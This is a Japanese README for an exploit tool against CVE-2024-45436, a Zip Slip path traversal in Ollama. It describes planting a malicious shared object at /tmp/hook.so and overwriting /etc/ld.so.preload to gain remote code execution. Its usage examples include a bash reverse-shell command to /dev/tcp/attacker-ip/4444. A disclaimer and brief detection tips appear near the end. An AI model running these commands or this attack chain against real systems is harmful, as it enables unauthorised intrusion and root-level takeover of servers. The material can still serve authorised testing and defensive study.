
CVE-2024-45436 のエクスプロイトスクリプト
Ollama ZIP トラバーサル脆弱性 (CVE-2024-45436) に対するクリーンで効率的なエクスプロイト実装です。 中国語ドキュメント:README_CN.md
CVE-2024-45436 は、Ollama バージョン 0.1.47 未満におけるパストラバーサル脆弱性(別名「Zip Slip」)です。この脆弱性により、攻撃者は ZIP ファイル展開操作時のパス検証不備を悪用して、ファイルシステム上の任意の場所にファイルを書き込むことができます。
この欠陥は、モデルファイルを展開する Ollama の model.go ファイルにある extractFromZipFile 関数に存在します。ZIP ファイルにディレクトリトラバーサルシーケンス (../) を含むパスを持つエントリが含まれている場合、Ollama はこれらのファイルを意図されたディレクトリの外部に展開し、攻撃者が重要なシステムファイルを上書きする可能性があります。
このエクスプロイトは、以下のアプローチで脆弱性を利用します。
hook.so) を作成する../../../../../../../../../../etc/ld.so.preload - カスタム共有オブジェクトをプリロードするために使用../../../../../../../../../../tmp/hook.so - 悪意のある共有オブジェクト自体正常に実行された場合、ペイロードは Ollama サービスと同じ権限で実行され、ルートとしてリモートコード実行が可能になる可能性があります。
python exp.py <target_url> <command>
target_url: 脆弱な Ollama インスタンスの URL(例:http://example.com:11434)command: ターゲットシステム上で実行するコマンド--no-cleanup: エクスプロイト後に一時ファイルを削除しない(デバッグに便利)基本的な使用法:
python exp.py http://target-server:11434 "id > /tmp/pwned"
リバースシェル:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
このツールは教育および許可されたセキュリティテスト目的でのみ提供されます。明示的な許可なくシステムに対して不正に使用することは違法であり、非倫理的です。作者は本ソフトウェアの誤用について一切の責任を負いません。
組織は以下の方法で脆弱性の有無を検出できます。
/api/version で Ollama のバージョンを確認する/etc/ld.so.preload や /tmp/hook.so に予期しないファイルがないか確認するこの脆弱性は、Ollama の ZIP ファイル展開処理における不適切なパス検証を悪用します。API を介してモデルが読み込まれると、アプリケーションはファイルパスを適切にサニタイズせずに ZIP アーカイブからファイルを展開するため、ディレクトリトラバーサル攻撃が可能になります。
ld.so.preload ファイルは、Linux で他のすべてのライブラリより先にロードされる共有ライブラリを指定するために使用されます。このファイルに書き込むことで、攻撃者は自分の悪意のあるライブラリが新しいプロセスに読み込まれるようにし、プログラムの実行を効率的に乗っ取ることができます。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。